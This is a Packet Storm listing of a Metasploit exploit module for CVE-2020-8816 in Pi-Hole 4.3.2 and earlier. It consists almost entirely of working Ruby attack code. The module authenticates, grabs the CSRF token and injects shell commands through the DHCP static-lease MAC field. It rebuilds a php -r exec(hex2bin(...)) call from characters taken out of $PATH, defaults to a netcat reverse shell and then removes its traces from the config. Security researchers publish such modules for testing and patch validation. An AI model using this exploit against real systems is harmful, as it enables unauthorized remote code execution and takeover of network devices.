Lucene search

K
packetstormH00diePACKETSTORM:157861
HistoryMay 28, 2020 - 12:00 a.m.

Pi-Hole 4.3.2 DHCP MAC OS Command Execution

2020-05-2800:00:00
h00die
packetstormsecurity.com
238
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',  
'Description' => %q{  
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added  
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first  
in the $PATH due to exploitation constraints. DHCP server is not required to be running.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'nateksec' # original PoC, discovery  
],  
'References' =>  
[  
['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],  
['CVE', '2020-8816']  
],  
'Platform' => ['unix'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'Mar 28 2020',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
},  
'Payload' => {  
'BadChars' => "\x00"  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])  
]  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# vDev (HEAD, v4.3-0-g44aff72)  
# v4.3  
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body  
  
if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')  
vprint_good("Version Detected: #{version}")  
return CheckCode::Appears  
else  
vprint_bad("Version Detected: #{version}")  
return CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
CheckCode::Safe  
end  
  
def login(cookie)  
vprint_status('Login required, attempting login.')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'cookie' => cookie,  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'vars_post' => {  
'pw' => datastore['PASSWORD']  
},  
'method' => 'POST'  
)  
end  
  
def add_static(payload, cookie, token)  
# we don't use vars_post due to the need to have duplicate fields  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'method' => 'POST',  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'data' => [  
'AddMAC=',  
'AddIP=',  
'AddHostname=',  
"AddMAC=#{URI.encode_www_form_component(payload)}",  
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s  
"AddHostname=#{rand_text_alphanumeric(8..12)}",  
'addstatic=',  
'field=DHCP',  
"token=#{URI.encode_www_form_component(token)}"  
].join('&')  
)  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
begin  
@macs = []  
# get cookie  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')  
)  
cookie = res.get_cookies  
print_status("Using cookie: #{cookie}")  
  
# get token  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'cookie' => cookie,  
'vars_get' => {  
'tab' => 'piholedhcp'  
}  
)  
  
# check if we got hit by a login prompt  
if res && res.body.include?('Sign in to start your session')  
res = login(cookie)  
end  
  
if res && res.body.include?('Sign in to start your session')  
fail_with(Failure::BadConfig, 'Incorrect Password')  
end  
  
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">  
# may also include /  
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body  
  
unless token  
fail_with(Failure::UnexpectedReply, 'Unable to find token')  
end  
print_status("Using token: #{token}")  
  
# from the excellent writeup about the vuln:  
# The biggest difficulty in exploiting this vulnerability is that the user input is  
# capitalized through a call to "strtoupper". Because of this, no lower case character  
# can be used in the resulting injection.  
  
# we'd like to execute something similar to this:  
# aaaaaaaaaaaa&&php -r 'PAYLOAD'  
# however, we need to pull p, h, and r from the system due to all input getting capitalized  
# this is performed by pulling them from the $PATH which should be something like  
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
# first payload we send is to check that this is in the path to verify exploitation is possible  
mac = rand_text_hex(12).upcase  
@macs << mac  
vprint_status("Validating path with MAC: #{mac}")  
res = add_static("#{mac}$PATH", cookie, token)  
  
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~  
env = res.body.match(/value="#{mac}(?<env>.*)">/)  
if env && env[:env].starts_with?('/opt/pihole')  
print_good("System env path exploitable: #{env[:env]}")  
else  
msg = '/opt/pihole not in path. Exploitation not possible.'  
if env  
msg += " Path: #{env[:env]}"  
end  
fail_with(Failure::UnexpectedReply, msg)  
end  
  
# once we have php -r, we then need to pass a payload. So we do this via php command  
# exec on hex2bin since our payload in hex caps will still get processed and executed.  
  
mac = rand_text_hex(12).upcase  
@macs << mac  
print_status("Payload MAC will be: #{mac}")  
shellcode = "#{mac}&&" # mac address, arbitrary  
shellcode << 'W=${PATH#/???/}&&'  
shellcode << 'P=${W%%?????:*}&&'  
shellcode << 'X=${PATH#/???/??}&&'  
shellcode << 'H=${X%%???:*}&&'  
shellcode << 'Z=${PATH#*:/??}&&'  
shellcode << 'R=${Z%%/*}&&$'  
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(  
shellcode << '"'  
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload  
shellcode << '"));'  
shellcode << "'&&"  
  
vprint_status("Shellcode: #{shellcode}")  
print_status('Sending Exploit')  
add_static(shellcode, cookie, token)  
  
# we don't use vars_post due to the need to have duplicate fields  
ip = '192.168'  
2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'method' => 'POST',  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'data' => [  
'AddMAC=',  
'AddIP=',  
'AddHostname=',  
"AddMAC=#{URI.encode_www_form_component(shellcode)}",  
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s  
"AddHostname=#{rand_text_alphanumeric(3..8)}",  
'addstatic=',  
'field=DHCP',  
"token=#{URI.encode_www_form_component(token)}"  
].join('&')  
)  
  
# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
end  
  
def on_new_session(session)  
super  
@macs.each do |mac|  
print_status("Attempting to clean #{mac} from config")  
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")  
end  
end  
end  
`